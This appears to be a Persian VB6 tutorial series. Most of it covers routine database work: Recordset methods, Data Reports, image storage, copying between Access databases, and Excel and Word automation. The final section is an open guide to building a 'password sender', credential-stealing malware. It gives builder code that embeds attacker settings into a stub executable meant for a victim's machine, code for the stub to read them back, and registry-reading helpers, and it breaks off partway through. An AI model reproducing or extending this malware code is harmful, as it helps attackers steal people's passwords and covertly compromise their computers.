» همانطور که میدانید پردازش اطلاعات و داده ها در پایگاه داده عبارت است از ایجاد رکورد جدید برای ثبت اطلاعات جدید ، حذف رکورد اطلاعاتی ، ویرایش اطلاعات و داده ها و بسیاری کارهای دیگر . کنترل داده علاوه بر این که خصوصیتهایی برای ایجاد ارتباط با پایگاه داده دارد خاصیتی به نام RecordSet دارد که که بیشترین متدهای پردازش بر روی پایگاه داده را در خود جای داده است . با این خاصیت بیشتر آشنا می شویم :

 

RecordSet : یکی از مهمترین خواص کنترل داده است و به جدولی که ما از خاصیت RecordSource انتخاب می کنیم اشاره دارد . در واقع رکوردست همه کاره است . این خاصیت فقط در زمان اجرای برنامه فعال می شود و متدهای مربوط به پردازش بر روی داده ها را در خود جای داده است . که ما با مهمترین آنها که بیشترین کاربرد را دارند آشنا می شویم :

 

_ Move : با استفاده از این متد ما میتوانیم به رکورد مورد نظر حرکت کنیم . روش استفاده از این متد به صورت زیر است :

( شماره رکورد )  Data1.RecordSet.Move

در استفاده از این متد باید توجه داشته باشید که شماره رکورد باید از نوع صحیح بوده و حتما در جدول موجود باشد .

_ MoveFirst : با استفاده از این متد ما میتوانیم به اول لیست یا جدول تغییر مکان دهیم . روش استفاده از این متد :

Data1.RecordSet.MoveFirst

 

_ MoveLast : این متد هم رفتن ما را به آخرین رکورد جدول فراهم می کند و روش استفاده از آن به صورت زیر است :

Data1.RecordSet.MoveLast

 

_ MoveNext : از این متد برای رفتن به رکورد بعدی استفاده می شود . نکته ای که در مورد این متد وجود دارد این است که برای استفاده از این متد باید رکورد بعدی موجود باشد وگرنه پیغام خطا صادر خواهد شد. روش استفاده :

Data1.RecordSet.MoveNext

 

_ MovePreivous : این متد هم برای برگشت به رکورد قبلی استفاده می شود که در این مورد هم باید رکورد قبلی موجود باشد . روش استفاده :

Data1.RecordSet.MovePrevious

 

_ EOF : این متد مشخص میکند که آیا اشاره گر در رکورد آخر قرار دارد یا خیر که در صورت قرار داشتن در رکورد آخر مقدار True و در غیر این صورت مقدار False به خود خواهد گرفت :

A = Data1.RecordSet.Eof

 

که مقدار A با توجه به موقعیت اشاره گر یکی از دو مقدار True یا False خواهد شد .

_ BOF : این متد هم مانند متد قبلی عمل می کند ولی با این تفاوت که قرار داشتن اشاره گر در ابتدای لیست را مشخص می کند .

A = Data1.RecordSet.Bof

 

_ FindFirst : از این متد برای جستجوی اولین رکوردی که با ضابطه ما مطابقت دارد استفاده می شود . برای مثال اگر ما در لیست دنبال شخصی با اسم " Ali " باشیم برای جستجوی آن باید از کد زیر استفاده کنیم :

( " 'Data1.RecordSet.FindFirst ( "Name= 'Ali

از ' ' برای جستجو در فیلد رشته ای استفاده می کنیم ، یعنی برای جستجوی فیلدهای عددی نباید از این علامتها استفاده کنیم این جستجو می تواند ضابطه پیچیده تر داشته باشد مانند :

 

( " 'Data1.RecordSet.FindFirst ( "Name= 'Ali' AND Family= 'Media

در واقع این ضابطه به صورت کلی باید یک رشته باشد . از Or و And برای ایجاد ضابطه های طولانی تر و دقیقتر هم میتوانیم استفاده کنیم .

 

_ FindLast : این متد برای پیدا کردن آخرین رکورد موجود در لیست که با ضابطه و شرط ما همخوانی دارد استفاده می شود و طریقه استفاده از آن مانند متد FindFirst است :

 

( " 'Data1.RecordSet.FindFirst ( "Name= 'Ali' AND Family= 'Media

_ FindNext : این متد هم برای یافتن رکورد بعدی استفاده می شود . باید توجه داشت که برای استفاده از این متد حتما باید قبل از آن از متد FindFirst استفاده کرده باشید .

( " 'Data1.RecordSet.FindNext  ( "Name= 'Ali' AND Family= 'Media

_ FindPrevious : از این متد هم برای یافتن رکورد قبلی استفاده می شود .

( " 'Data1.RecordSet.FindPrevious  ( "Name= 'Ali' AND Family= 'Media

_ NoMatch : این متد مشخص می کند که جستجوی ما چه حاصلی در بر داشته است . اگر جستجوی ما به نتیجه نرسیده باشد مقدار آن True خواهد بود و در غیر این صورت False خواهد شد . برای مثال :

 

( " 'Data1.RecordSet.FindFirst ( "Name= 'Ali' AND Family= 'Media

If  Data1.RecordSet.NoMatch  Then

 "شخص مورد نظر شما در لیست یافت نشد"MsgBox  

Else

 " شخص مورد نظر شما در لیست موجود است"MsgBox  

End If

_ AddNew : از این متد برای ایجاد رکورد جدید در جدول استفاده می شود .

Data1.RecordSet.AddNew

_ Delete : از این متد هم برای حذف رکورد مورد نظر استفاده می شود .

Data1.RecordSet.Delete

_ Edit : این متد قابلیت ویرایش جدول را فعال می کند و ما میتوانیم محتویات رکوردها را تغییر دهیم :

 

Data1.RecordSet.Edit

_ Update : از این متد برای ذخیره کردن رکورد ایجاد شده و یا ویرایش شده استفاده می کنیم . البته قبل از این متد باید یکی از متدهای AddNew یا Edit اجرا شده باشد :

Data1.RecordSet.Update

_ RecordCount : این متد مشخص می کند که جدول ما دارای چند رکورد است و فقط قابل خواندن می باشد :

A = Data1.RecordSet.RecordCount

_Filter : از این متد برای نمایش دادن اطلاعات خاصی که ما برای آن ضابطه تعیین می کنیم استفاده می شود . البته تأثیر این متد در استفاده از کنترل جدول نمایانتر است :

 

"  'Data1.RecordSet.FindFirst "Name= 'Ali

در این مثال رکوردهایی نمایش داده خواهند شد که فیلد نام آنها برابر با 'Ali' باشد . در این متد هم می توانیم از OR و AND برای دقیقتر کردن ضابطه استفاده کنیم .

 

_ Sort : ما با این متد می توانیم اطلاعات و رکوردهای جدول خود را بر اساس یک فیلد مرتب سازی کنیم :

 

Data1.RecordSet.Sort

**********************************************گزارش گیری از پایگاه داده در ویژوال بیسیک


» همانطور که شما عزیزان می دانید گزارشگیری می تواند یکی از ویژگیهایی باشد که یک برنامه پایگاه داده را کاملتر و قابل استفاده تر می کند و کاربران به استفاده از این نوع برنامه ها رغبت بیشتری دارند . یعنی به طور کلی امکان گزارشگیری در یک برنامه از مهمترین ویژگیهای آن است . از گزارشگیری بیشتر در چاپ استفاده می شود و کاربر می تواند قبل از چاپ اطلاعاتی را مشاهده و ارزیابی کند . در این درس من روش ساخت گزارش معمولی با استفاده از امکانات آماده خود ویژوال بیسیک را توضیح خواهم داد ، ولی اکتیوایکس های پیشرفته تری مانند کریستال ریپورت ( Crystal Report ) که توانایی ساخت گزارشهای جالبتر و بهتری را دارند نیز وجود دارند که خود شما باید پیگیر آنها باشید .


» قبل از شروع ساخت گزارش شما باید چند نکته در این مورد یاد بگیرید . در ایجاد یک گزارش معمولی ویژوال بیسیک از از رابط OLE DB برای برقراری ارتباط با پایگاه داده مورد نظر استفاده می کند . برای شروع شما VB خود را باز کرده و یک پروژه استاندارد ایجاد کنید . سپس برای ایجاد رابط از منوی Project گزینه Add Data Environment را انتخاب کنید . با زدن این گزینه فرمی به صورت زیر ایجاد می شود :

 

 


» همانطور که در تصویر می بینید این فرم از یک لیست درختی تشکیل شده که سر شاخه آن همان نام رابط است . شاخه Connections لیست ارتباطها با پایگاه داده ها را مشخص می کند . مثال Connection1 با یک پایگاه داده مرتبط است و حال این که Connection بعدی که ایجاد میکنید می تواند با یک پایگاه داده دیگر ارتباط برقرار کند . شاخه Commands هم جدول یا جدول های انتخابی از هر پایگاه داده را مشخص میکند که بیشترین کاربرد را دارد . حال به توضیح هر یک از این دو شاخه می پردازیم :


شاخه Connections : همانطور که گفته شد این ابزار یا شی ء پایگاه داده ای را که قرار است از آن گزارش تهیه شود مشخص می کند . برای مثال ما مراحل انتخاب یک پایگاه داده مراحل زیر را دنبال می کنیم :


1 ) روی Connection1 راست کلیک کنید تا منویی باز شود . از این منو گزینه Properties را انتخاب کنید تا دیالوگ Data Link Properties نمایش داده شود . برگه اول این دیالوگ دارای یک لیست است.


2 ) شما از این لیست گزینه Microsoft Jet 4.0 OLE DB Provider را انتخاب کرده و گزینه Next را بزنید تا برگه دوم این دیالوگ نمایش داده شود .


3 ) در این مرحله پایگاه داده مورد نظر خود را انتخاب کنید . برای آگاهی از این که آیا اتصال به درستی انجام گرفته می توانید از دکمه Test Connection استفاده کنید . سپس دکمه OK را برای پایان این مرحله انجام دهید .


با انجام این مراحل ما توسط Connection1 به پایگاه داده مورد نظر خود متصل شدیم . حال زمان استفاده از شی ء Command است . برای ایجاد یک Command برای Connection1 روی Connection1 کلیک راست کرده و گزینه Add Command را بزنید . با این کار Command1 به لیست Command ها اضافه خواهد شد .


شاخه Commands : همانطور که گفته شد شی Command برای مدیریت جدول یا فیلد ها استفاده می شود . برای تنظیم این شی ء مراحل زیر را دنبال می کنیم :


1 ) روی Command1 کلیک راست کرده و گزینه Properties را انتخاب کنید تا دیالوگ زیر نمایش داده شود :

 

 


در این دیالوگ اصلی ترین قسمت برگه General است که ما باید آن را تکمیل کنیم .


2 ) در برگه General از کشوی DataBase Objects گزینه Table را انتخاب کنید تا در کشوی Object Name نام جدول های موجود در پایگاه داده قرار گیرد و شما جدول مورد نظر خود را انتخاب کنید . حتی شما می توانید با استفاده از دستورات SQL که در قسمت SQL Statement می نویسید جدول مورد نظر خود را انتخاب نمایید .


3 ) سپس دکمه Apply و دکمه Ok را برای تکمیل این قسمت فشار دهید . برگه های دیگر این دیالوگ برای ساخت گزارشهای پیشرفته تر کاربرد دارند که ما از تکمیل این قسمت ها را به خود شما عزیزان واگزار می کنم .


» در این قسمت تنظیمات مربوط به رابط پایگاه داده به پایان رسید . حال برای ایجاد صفحه طراحی گزارش از منوی Project گزینه Add Data Report را انتخاب کنید . یک صفحه طراحی گزارش با جعبه ابزار مخصوص با نام Data Reprot1 در اختیار شما قرار داده می شود . در این قسمت دو روش برای طراحی گزارش وجود دارد :


روش اول این است که خود شما برای هر کدام از فیلدهایی که می خواهید در گزارش قید شوند یک Rpt Text Box و Rpt Lable قرار دهید و خواص هر کدام از آنها را به طور جداگانه تنظیم کنید .


روش دوم این است که فرم رابط یا Data Environment و DataReport1 را به صورت زیر قرار داده و با کشیدن و انداخت هر کدام از فیلد ها و یا کل جدول از فرم رابط بر روی فرم گزارش ، گزارش خود را تنظیم کنید .

 

 


مهم ترین قسمت : مهمترین قسمت این بخش مرتبط کردن فرم گزارش با فرم رابط است . برای این کار شما باید خواص DataReport1 یا همان فرم گزارش خود را به صورت زیر تنظیم کنید :


1 ) خاصیت DataSource را برابر با DataEnvironment1 قرار دهید .

2 ) خاصیت DataMember را برابر با Command1 قرار دهید .


حال گزارش شما برای نمایش آماده است . برای این کار شما باید در Form1 خود یک CommandButton قرار داده و کد زیر را در آن بنویسید :


()Private Sub Command1_Click

DataReport1.Show

End Sub

همچنین شما می توانید برای فرم گزارش خود سر برگ یا شماره صفحه و چیز های دیگر قرار دهید . همچنین می توانید برای آن منو طراحی کنید . علت این که من این چنین خلاصه این بخش را آموزش دادم طولانی بودن این بخش و کم بودن وقت بود . شما خودتان می توانید با دقت و تمرین این بخش را به طور کاملتر یاد بگیرید

******************************************

ذخیره کردن تصویر در پایگاه داده


» قطعاً همه برنامه نویسان مایلند که در برنامه های مربوط به پایگاه داده خود بتوانند تصویر را نیز ذخیره کنند چون این امر یکی از ویژگیهای خوب و کارآمد برنامه خواهد بود . برای همین من این بار می خواهم روش ذخیره کردن تصویر را در پایگاه داده به شما عزیزان آموزش دهم .


» همینطور که شما عزیزان برنامه نویس می دانید در پایگاه داده اکسس نوع مشخصی برای ذخیره کردن تصویر وجود ندارد که ما به طور اختصاصی از آنها استفاده کنیم ولی یک نوع داده به نام OLE Object وجود دارد که می تواند هر گونه داده ای مانند صدا و تصویر را پشتیبانی کند . برای شروع شما برنامه Access را باز کرده و این فیلد ها را در آن ایجاد نمایید :

ID => AutoNumber

Picture => OLE Object

حال این جدول را با نام Sample ذخیره کنید و پایگاه داده را با نام db.mdb ذخیره نمایید . حال بدون این که داده ای در در این جدول وارد کنید از Access خارج شده و ویژوال بیسیک عزیز خودمان را باز کنید .


» مواد لازم: ابزارهای مورد نیاز برای کار را به صورت جدول زیر بر روی فرم خود قرار داده و خاصیت های آنها را تنظیم کنید :

 

نام کنترل 
خاصیت DataSource 
خاصیت DataField

Data1 
------------- 
------------

Text1 
Data1 
ID

Image1 
Data1 
Picture

 

 

نام کنترل 
خاصیت Name 
خاصیت Caption

Command1 
CmdNew 
New

Command2 
CmdSave 
Save

Command3 
CmdCancel 
Cancel

CommonDialog1 
CmDialog 
-------

 

کدهای زیر را برای ایجاد ارتباط با پایگاه داده در Form_Load بنویسید :


()Private Sub Form_Load

       "Data1.DatabaseName = App.Path & "\db.mdb

"Data1.RecordSource = "SELECT * FROM Sample

Data1.Refresh

End Sub

» کد باز کردن کادر محاوره ای برای انتخاب عکس با دابل کلیک کردن بر روی ImageBox :


()Private Sub Image1_DblClick

"CmDialog1.Filter = "(*.jpg)|*.jpg

CmDialog.ShowOpen

If CmDialog.FileName <> "" Then

(Image1.Picture = LoadPicture(CmDialog.FileName

End If

End Sub

» کد برای ایجاد رکورد جدید :

()Private Sub CmdNew_Click

Data1.Recordset.AddNew

CmdNew.Enabled = False

CmdSave.Enabled = True

CmdCancel.Enabled = True

Call Image1_DblClick

End Sub

» کد برای ذخیره کردن رکورد ایجاد شده :

()Private Sub CmdSave_Click

Data1.Recordset.Update

CmdNew.Enabled = True

CmdSave.Enabled = False

CmdCancel.Enabled = False

Data1.Recordset.MoveLast

End Sub

» کد برای صرف نظر کردن از رکورد ایجاد شده :

()Private Sub CmdCancel_Click

Data1.Recordset.CancelUpdate

CmdNew.Enabled = True

CmdSave.Enabled = False

CmdCancel.Enabled = False

End Sub


نکته : باید توجه داشته باشید که ذخیره کردن تصویر در پایگاه داده ظرفیت آن را به اندازه زیادی افزایش خواهد داد .

***********************************

انتقال اطلاعات از یک پایگاه به پایگاه داده دیگر


» شاید یکی دیگر از جنبه های برنامه نویسی پایگاه داده توانایی کپی کردن اطلاعات از پایگاه داده ای به پایگاه داده دیگر است که بیشترین کاربرد این عمل در پشتیبان گیری یا انتقال اطلاعات از جدول فرعی به جدول اصلی ( مادر ) مشخص می شود .


» برای انجام این انتقال دو نوع روش وجود دارد. روش اول این است که ما اطلاعات را به صورت رکورد به رکورد از جدول فرعی خوانده و به صورت رکورد به رکورد در جدول اصلی قرار دهیم و مراقب باشیم که اطلاعات تکراری در این عملیات کپی نگردند ، که انجام کد نویسی برای این روش به نظر من کاری مشکل و دشوار است . روش دوم استفاده از دستورات SQL است که برای انجام چنین عملیاتی ایجاد شده اند و امکان انجام همه این کارها را در یک خط کد نویسی فراهم می نمایند . در این درس من می خواهم روش دوم را به شما عزیزان آموزش دهم .


» برای مثال شما دو پایگاه داده با نام های mdb1 ( پایگاه داده مادر ) و mdb2 ( پایگاه داده فرعی ) که دارای ساختار یکسانی هستند را در نظر بگیرید . ما قصد داریم اطلاعات موجود در پایگاه داده فرعی را بر روی اطلاعات موجود در پایگاه داده مادر بیفزاییم . پس در این حالت اطلاعاتی باید از پایگاه داده فرعی یا رابط به پایگاه داده مادر کپی گردند که نظیری در پایگاه داده مادر ندارند تا به این صورت از ذخیره سازی داده های تکراری در پایگاه داده مادر جلوگیری شود .


_ به دلیل این که انجام این کار در یک خط کد نویسی صورت می گیرد ما دیگر توانایی مراقبت از ورود داده های تکراری را نداریم . پس بهتر است که انجام این کار را هم بر عهده خود دستور قرار دهیم . به این صورت که اگر ما در پایگاه داده مادر فیلدی را به عنوان کلید قرار دهیم در هنگام انتقال داده ها این کلید به طور خودکار اجازه ورود داده های تکراری را نخواهد داد و فقط داده های کپی خواهند شد که در فیلد کلید نظیری ندارند . برای مثال شما دو پایگاه داده را به صورت زیر تنظیم نمایید :


» پایگاه داده مادر ( mdb1 ) :


--> یک جدول با نام Table1 دارای فیلد های زیر :


> ID : از نوع عددی به عنوان کلید

> Name : از نوع متن

> Family : از نوع متن


» پایگاه داده فرعی ( mdb2 ) :


--> یک جدول با نام Table2 دارای فیلد های زیر :


> ID : از نوع عدد

> Name : از نوع متن

> Family : از نوع متن


» دستور :


جدول فرعی  SELECT _ FROM '  مسیر و نام جدول اصلی ' IN  جدول اصلی INSERT INTO

_ در این دستور فقط مسیر و نام پایگاه داده مقصد ذکر می شود و پایگاه داده مبدا باید در اجرای برنامه گشوده شود . حال مثال را کامل می کنیم . ابتدا شما باید از دیالوگ References گزینه Microsoft DAO 3.51 Object Library را تیک بزنید و کد زیر را در دکمه ای قرار دهید :


()Private Sub CmdCopy_Click

Dim DBase As Database

Dim SQL As String

(Set DBase = OpenDatabase(App.Path & "\mdb2.mdb", True, False


" SQL = " INSERT INTO Table1 IN '" & App.Path & "\mdb1.mdb' SELECT * FROM Table2


DBase.Execute SQL


  " vbInformation , " Copy Completed  , " عمل انتقال اطلاعات با موفقیت به پایان رسید" Msgbox

End Sub

_ در این مثال اطلاعات موجود در جدول پایگاه داده فرعی ( Table2 ) به جدول موجود در پایگاه داده مادر ( Table1 )بدون تکرار در فیلد ID کپی می شوند . با استفاده از این دستور حتی می توان اطلاعات موجود در یک پایگاه داده نوع دیگر مانند Excel را به پایگاه داده Access کپی کرد که انشا الله در قسمت کار با پایگاه داده Excel توضیح خواهم داد .

****************************************

کار با فایل هایی از نوع Excel و Word


» به دلیل این که برنامه Excel و Word یکی از ساده ترین و پرکاربردترین برنامه های مورد استفاده بوده و ساخت شرکت مایکروسافت است و ویژوال بیسیک به راحتی قادر به برقراری ارتباط با آن است ، امروز می خواهم به صورت خلاصه روش ایجاد یک فایل از نوع Excel و Word و برقراری ارتباط با آنها را به شما عزیزان توضیح دهم .


» برای این که شما از امکانات کار با Excel و Word در ویژوال بیسیک 6 برخوردار باشید باید از رابطی که مخصوص خود Excel و Word است استفاده نمایید . برای این کار شما باید از دیالوگ References گزینه های زیر را تیک بزنید :


Microsoft Excel 9.0 Object Library

Microsoft Word 9.0 Object Library


البته بسته به نسخه آفیسی که شما بر روی سیستم خود نصب می کنید شماره یا ورژن این گزینه ها تغییر خواهد کرد .


@ کار با Excel : در ابتدا شما باید تعریفات زیر را در قسمت General برنامه خود انجام دهید :


Dim X_Excel As Excel.Application

Dim X_WorkBook As Excel.Workbook

Dim X_WorkSheet As Excel.Worksheet

_ حال برای ایجاد یک فایل از نوع Excel از دستور زیر باید استفاده کنید :


Set X_Excel = New Excel.Application

_ سپس یک صفحه کاری ایجاد می کنیم که باید از دستور زیر استفاده کنیم :


Set X_WorkBook = X_Excel.Workbooks.Add

_ پس از این کار شیت ( Sheet ) مورد نظر را باید انتخاب کنیم :

(Set X_WorkSheet = X_WorkBook.Worksheets(1

_ که در این مثال Sheet1 را انتخاب کردیم .


» همانطور که می دانید صفحه Excel به صورت گسترده بوده و کار با آن بر اساس خانه های موجود در آن است که هر کدام آدرس مخصوصی دارد . برای مثال خانه شماره یک دارای آدرس ( 1 , 1 ) می باشد . ما هم از این آدرسها برای دسترسی به این خانه ها استفاده می کنیم :


 داده مورد نظر = ( ستون ,  سطر ) X_WorkSheet.Cells

  "X_WorkSheet.Cells( 1 , 1 ) = "Ali

"X_WorkSheet.Cells( 1 , 2 ) = "Hassan

_ در مثال بالا رشته Ali در اولین خانه و رشته Hassan در خانه دوم ردیف اول صفحه یا جدول ذخیره می شود و محدوتی برای وارد کردن انواع داده وجود ندارد و شما می توانید هر نوع داده ای را در خانه ها قرار دهید .


» پس از ایجاد یک صفحه کاری و قرار دادن داده در خانه های آن نوبت به ذخیره کردن آن به عنوان یک فایل Excel می رسد که باید از دستور زیر برای این کار استفاده کنیم :

"X_WorkBook.SaveAs FileName:= "C:\Smple.xls


_ همچنین شما میتوانید برای نمایش صفحه کاری خود توسط برنامه اکسل به صورت زیر عمل کنید :


X_Excel.Visible = True

_ و برای خروج از صفحه کاری از دستور زیر استفاده کنید :


X_Excel.Quit

_ این دستور زمانی کاربرد دارد که از دستور قبلی آن استفاده نمایید .


@ کار با Word : کار با این برنامه هم مانند کار با Excel است و تفاوت آنها بیشتر در قسمت وارد کردن داده ها و اطلاعات می باشد . مانند قبل تعریفات زیر را در قسمت General قرار دهید :


Dim X_Word As Word.Application

Dim X_Doc As Word.Document

_ حال برای ایجاد یا باز کردن یک فایل از نوع Word دستور زیر را به کار ببرید :


Set X_Word = New Word.Application

_ سپس شما باید یک پرونده ) Document ) جدید ایجاد کنید :


Set X_Doc = X_Word.Documents.Add

_ پس از انجا این کارها نوبت به وارد کردن داده ها و اطلاعات است که برای این کار شما بیشتر باید از متد Selection مربوط به X_Word استفاده نمایید :


X_Word.Selection.Borders.OutsideLineStyle = wdLineStyleInset

X_Word.Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter

X_Word.Selection.Font.Bold = True

X_Word.Selection.Font.Size = 20

"X_Word.Selection.Text = "Media Soft Is For All

در این مثال پس از تنظیمات دلخواه در صفحه پرونده نوشته ای را در آن قرار می دهیم . البته این متدها فقط تعداد اندکی از امکانات کار با فایل های پرئنده ای است و شما باید خودتان آنها را بررسی کنید .


_ حال مانند مثال قبل نوبت به ذخیره کردن پرونده کاری می رسد که روش آن مانند مثال قبل است :


"X_Doc.SaveAs FileName:="C:\Sample.Doc

_ برای نمایش پرونده کاری خود توسط برنامه Word دستور زیر استفاده کنید :


X_Word.Visible = True

------------------------------------------------------------------------------------


---> برنامه نمونه برای آموزشهای داده شده : دانلود


---> برنامه نمونه برای کپی کردن اطلاعات از Excel به یک پایگاه داده Access : دانلود

---> برنامه نمونه برای کپی کردن اطلاعات از یک پایگاه داده Access به Word : دانلود

*********************************************

روش تغییر پسورد پایگاه داده Access از طریق VB


» این بار قرار است روشی رو به شما عزیزان آموزش بدم که با استفاده از آن می توانید کلمه عبوری را که روی پایگاه داده Access خودتان قرار داده اید از طریق کد نویسی در ویژوال بیسیک تغییر دهید . برای انجام این عمل باید مراحل زیر را انجام دهید .


1. ابتدا یک پروژه را در VB باز کنید . سپس از منوی Project گزینه References را انتخاب کنید تا دیالوگی نمایش داده شود . از لیستی که مشاهده می کنید گزینه ( Microsoft DAO 3.51 Object library ) را علامت بزنید . البته این در صورتی است که پایگاه داده شما پایین تر از فرمت Office 2003 باشد . ( مثلا Office 2000 ) . در غیر این صورت باید گزینه ( MicroSoft DAO 3.6 Object Library )علامت بزنید . تا احیانا با خطایی مواجه نشوید . ( نسخه 3.6 میتواند بهترین انتخاب باشد ).


2. سپس مثلا یک دکمه روی فرم خود گذاشته و نام آن را به Cmd_PassChange و عنوان آن را به PassChange تغییر دهید . حال کدهای زیر را داخل آن بنویسید یا کپی کنید :


Dim db As DAO.Database

("Set db = DBEngine.OpenDatabase(App.Path & "\Test.mdb", True, False, ";pwd=media

"db.NewPassword "media", "ali

db.Close

_ در این مثال ابتدا ما یک متغیر ( db ) را از نوع کتابخانه DAO تعریف می کنیم . در دستور Set کردن پایگاه داده Access توجه داشته باشید که چون پایگاه داده ما از قبل دارای کلمه عبور است ، ما مجبوریم برای ورود به آن از کلمه عبور ( در این مثال media ) استفاده کنیم . همچنین دقت داشته باشید که در این دستور حتما باید مقدار ورودی Option ( مقدار دوم که تعیین می کند ما به تنظیمات پایگاه داده دسترسی داشته باشیم یا نه) مقدار True باشد . درغیر این صورت از تغییر کلمه عبور جلوگیری خواهد شد . در دستور سوم هم که مشاهدی می کنید ، اولین پارامتر ورودی کلمه عبور قبلی و دومین پارامتر ورودی کلمه عبور جدید شما خواهد بود . خط آخر هم در اصطلاح برای بستن پایگاه داده به کار می رود .


برنامه نمونه ---> دانلود

آموزش ساخت پسورد سندر با ویژوال بیسیک

اولا می خوام شما رو با تفاوت بین تروجان و پسورد سندر آشنا کنم. خیلی ها بین این دو تا تفاوت قائل نمی شن در صورتی که درست نیست و این دو از زمین تا آسمون با هم فرق دارن.

پسورد سندر نسبت به تروجان کد نویسی ساده تری داره و اصولا برای این نوشته میشه که یک سری پسورد های خاص رو برای نویسنده ش بفرسته ، مثلا پسورد مسنجرها یا چیزهایی از این قبیل. ولی بک تروجان علاوه براین کارها مهمترین چیزی رو که یک هکر می خواد رو براش میاره یعنی: دسترسی کامل به کامپیوتر قربانی . پس یه تروجان می تونه پسورد سندر و کیلاگر(کی لوگر!!) و خیلی چیزهای دیگه رو هم در خودش داشته باشه. من نمی تونم ادعا کنم که یک تروجان کامل نوشتم ولی پسورد سندری که من نوشتم نسبتا مناسب بود و کارش رو به خوبی انجام می داد( البته اگه ایرادتش رو نگم). پس باید بدونید که هدف من آشنا کردن شما با نحوه ی کد نویسی یک پسورد سندر در وی بی هست

ارتباط بین سرور و ادیت سرور:

خوب کسایی که نمی دونن بدونن که سرور همون فایلی هست که شما به کامپیوتر قربانی واردش می کنید و ادیت سرور تنظیمات این فایل رو انجام می ده. البته پی اس (از این به بعد به پسورد سندر می گم پی اس) هایی هم هستن که بدون ادیت سرور نوشت همی شن و اصولا در اختیار عموم قرار نمی گیرن (مثل کد PS1 در فولدر اصلی مقاله که کار یکی از پی اس نویسای معروف ایران هست و آموزشی هست) ولی خیلی ها دوست دارن پی اس با ادیت سرور بنویسین.

اصولا چند راه هست که این ارتباط رو برقرار کنید و نیازی به قرار دادن سورس سرور در ادیت سرور نیست. من یه راه رو معرفی می کنم که فهمش ساده تر هست و تو پی اس خودم ازش استفاده کردم. (اون راه های دیگه رو اگه دوست داشتید تو فولدر E/S Connection   بررسی کنید که سورس کامل Toxic-Ps ،  Toxic-Cv،  PSGهست .) برای این کار ما به یک Property Bag  نیاز داریم که اطلاعاتی که می خوایم تو سرور باشن رو توسط ادیت سرور خیلی راحت توش بذاریم. بعد هم سرور که اجرا شد اون اطلاعات رو می خونه و ازش استفاده می کنه! به همبن راحتی! (گفتن نه نوشتن) این اطلاعات میتونه هر چیزی باشه مثل آدرس ایمیلی که اطلاعات می خواهید به اونجا فرستاد هبشه و ازاین قبیل. خوب من این کدها رو پایین آوردم و می تونید بررسی کنید چجوری اطلاعات تو فایل سرور نوشته و توسط سرور خونده می شوند.

Edit Server:

 

On Local Error GoTo errTrap

    Dim BeginP As Long

    Dim Bag As New PropertyBag

    Dim Temp As Variant

    Dim mahmoud() As Byte

   

    Dim er As String

    With Bag

        .WriteProperty "id", id.Text

        .WriteProperty "force", force.Value

        .WriteProperty "dial", dial.Value

        .WriteProperty "user", user.Value

        .WriteProperty "com", com.Value

        .WriteProperty "fire", fire.Value

        .WriteProperty "IP", ip.Value

        .WriteProperty "image", preview.Image1.Picture

        .

        .

        .                                                                                                   

    End With

    Open App.Path + "\" + "serv.exe" For Binary As #2

    mahmoud = LoadResData(101, "CUSTOM")

    Put #2, , mahmoud()

    Close #2

 

     FileCopy App.Path & "\serv.exe", App.Path & "\" & SrvName.Text

   

  

    Open App.Path & "\" & SrvName.Text For Binary As #1

        BeginP = LOF(1)

               

        Temp = Bag.Contents

               

        Seek #1, LOF(1)

        Put #1, , Temp

        Put #1, , BeginP

   

    Close #1

 

 

  Kill App.Path + "\" + "serv.exe"

  Exit Sub

 

errTrap:

MsgBox Err.Description, vbCritical, "Error"

در اینجا تمام اطلاعات در یک Property Bag  نوشته می شود و بعد هم می ره داخل سرور!

فقط باید بدونید که من ابتدا ریسورس فایل سرور رو داخل ادیت سرور قرار دادم. برای این کارابتدا از قسمت Add-in Manager  ، VB6 Resource Editor رو فغال کنید .بعد رو    کلیک کنید . حالا Add Custom Resource  رو بزنید و فایل سرور رو انتخاب کنید.می تونید اسم این ریسورس رو هم عوض کنید البته من همون 101 رو به صورت پیشفرض انتخاب کردم.قسمتهایی هم که در کد بالا خط کشیدم مربوط به لود کردن همین ریسورس و تبدیل آن به فایل اجرایی است.

 

حالا کدهای مربوط به سرور و نحوه ی خوندن اطلاعات رو بررسی می کنیم.

 

Server:

On Local Error Resume Next

 

    Dim BeginP As Long

    Dim Temp As Variant

    Dim bArr() As Byte

 

    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1

        Get #1, LOF(1) - 3, BeginP

 

        Seek #1, BeginP

        Get #1, , Temp

       

        Arr = Temp

        Bag.Contents = Arr

        Bag.WriteProperty "LOF", LOF(1)

        Bag.WriteProperty "BeginPos", BeginPos

 

   Close #1

 

    With Bag

    ID.Caption = .ReadProperty("id")

     FileNameInstall.Caption = .ReadProperty("filename")

     Username.Value = .ReadProperty("user")

      Computername.Value = .ReadProperty("com")

      Firewall.Value = .ReadProperty("fire")

      Rand.Enabled = .ReadProperty("rand")

                                                                                                                .

.                                                                                                                                  

                                                                                                                     

    End With

 

ساده بود نه؟ این کارا رو شما هم می تونید انجام بدید. در اینجا اطلاعات از داخل فایل سرور خونده می شود و بر اساس اون مثلا یک تایمر خاص فعال می شود یا یه چیزی مثل این.

خب می ریم سراغ قسمت اصلی که می خواهیم با هم کدهای مخرب رو بنویسیم. این بستگی داره به مهارت برنامه نویسی  شما و استعداد شما در این زمینه.چون من هیچ وقت نمی تونم اون چیزی رو که دقیقا شما می خواهید بهتون بدم.پس اینجا با کدهای ساده به صورت دسته بندی شده می ریم جلو که خیلی هاشون تو اکثر پی اس ها استفاده  می شن. من اگر بخوام طرز کار همشون رو بهتون خیلی طولانی می شه.پس اینو به خودتون واگذار می کنم. اول تموم توابع API  لازم دارید رو به برنامه اضافه کنید تا مشکلی پیش نیاید.

(زیر اسم توابع API  خط کشیدم).

_______________________________________

Public Function SysDir() As String

  Dim SysPath As String

  SysPath = String(255, vbNullChar)

  GetSystemDirectory SysPath, 255

  SysDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)

End Function

برگشتی این تابع مسیری تو مایه های C:\WINDOWS\System32  هست!

_______________________________________

Public Property Get ReadKey(Value As String) As String

Dim B As Object

On Error Resume Next

Set B = CreateObject("wscript.shell")

r = B.RegRead(Value)

ReadKey = r

End Property

با این کد می تونید کلید های درون رجیستری رو بخونید که تو دو تابع بعدی ازشون استفاده کردم.

 _______________________________________

Public Sub getuser()

Dim UserString As String

UserString = ReadKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName")

User.Text = Username

